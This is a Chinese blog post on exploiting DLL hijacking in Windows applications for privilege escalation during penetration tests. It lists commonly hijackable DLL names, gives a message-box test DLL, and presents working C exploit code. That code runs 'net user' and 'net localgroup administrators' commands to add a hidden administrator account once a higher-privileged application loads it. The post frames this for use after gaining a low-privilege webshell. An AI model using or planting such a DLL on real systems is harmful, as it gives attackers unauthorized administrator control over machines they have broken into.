Dll Hijacking 利用

关于dll hijacking,百度百科已经有比较详实的内容可以参考 点击查看 ,这里不再赘述。

虽然微软官方和应用程序开发商们已经意识到这个问题的严重性,也做了部分积极措施,但是到目前为止,依然有大量应用存在该漏洞 点击查看 ,黑客们在拿到系统低权限时,也往往会利用各种应用的dll劫持问题进行提权,比如某些升级频繁的应用。

一、dll hijacking的检测

其实metasploit曾经发布过一款名为DllHijackAuditKitv2的检测工具,主要是在系统管理员权限下,调用Sysinternals进程监视器,并检测系统是否存在脆弱的应用程序,但是这个检测过程相对耗时,也只能在本地检测,而且,在我们做渗透时,目标的环境与我们的环境往往相差甚远,所以我们需要调查好目标装有哪些应用,并且针对性的去测试那些使用频率较高的应用是否存在dll劫持,当然,这个测试是需要在本地安装相同版本应用,测试好之后再在目标上使用。

另外securityxploded发布有一款使用简单、效率相对较高的审计工具:DllHijackAuditor v3.5

如图,win2k3下测试古老的傲游浏览器2,发现存在ieframe.dll劫持:

auditor

在任意位置,使用傲游浏览器2打开html或htm文件,都会触发傲游浏览器2调用html同目录下的ieframe.dll文件:

auditortested

当然,工具测试并不全面,更高的准确率需要我们手工去测试,那么,我们怎样手工比较地高效测试这些应用是否存在dll劫持呢?

 

这里推荐一种方法:模糊测试常见调用的dll

 

应用程序常调用的dll包含但不限于以下,也有一些应用自身特定的dll存在被劫持的可能:

lpk.dll  usp10.dll dwmapi.dll version.dll apphelp.dll ws2help.dll ws2_32.dll d3d8.dll

将测试用dll命名为以上常调用dll文件名,并放置在应用程序目录,启动应用程序,若存在某些dll的劫持,应用程序就会调用相应的测试dll,从而快速判断哪些dll是可以劫持的。

dll劫持测试代码如下,可以修改弹窗信息为lpk、ups10等,使用Visual C++ 6.0 等编译成对应文件名dll,这样在测试时,根据弹窗信息即可判断加载了哪些dll:

/*
#[+] Exploit Title: DLL Hijacking
#[+] Type: Local Exploits
#[+] Tested on: Win2k3 sp2
=======================
*/

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

 switch (fdwReason)
 {
 case DLL_PROCESS_ATTACH:
 MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
 break;
 }

 return TRUE;
}

 

以知名的注入工具pangolin为例,测试dwmapi.dll的劫持:

dwmapi.dll

 

二、dll hijacking 的利用

在拥有低权限webshell想进行提权时,如果系统补丁修补较全,那么可以尝试利用dll劫持进行提权;

在检测出存在漏洞的应用程序目录中放置恶意dll,当应用运行时就可以通过劫持该高权限应用去调用低权限恶意dll,从而让低权限用户获取高权限。下面是通过执行系统命令添加系统管理员的示例dll代码,可以自行扩展其它功能:


/*
#[+] Exploit Title: DLL Hijacking
#[+] Type: Local Exploits
#[+] Tested on: Win2k3 sp2
=======================
*/
#include "windows.h"

int exp()
{
WinExec("net user test test /add",0);
WinExec("net localgroup administrators test /add",0);
//两条命令测试使用&&无法一起执行

//system("net user test test /add && net localgroup administrators test /add");
//有弹窗

//ShellExecute(0, "open", "cmd", "/C net user test test /add && net localgroup administrators test /add", 0, SW_HIDE);

exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
exp();
return 0;
}

劫持成功即可加上test管理员账户,使用pangolin测试成功。

发表评论

电子邮件地址不会被公开。


*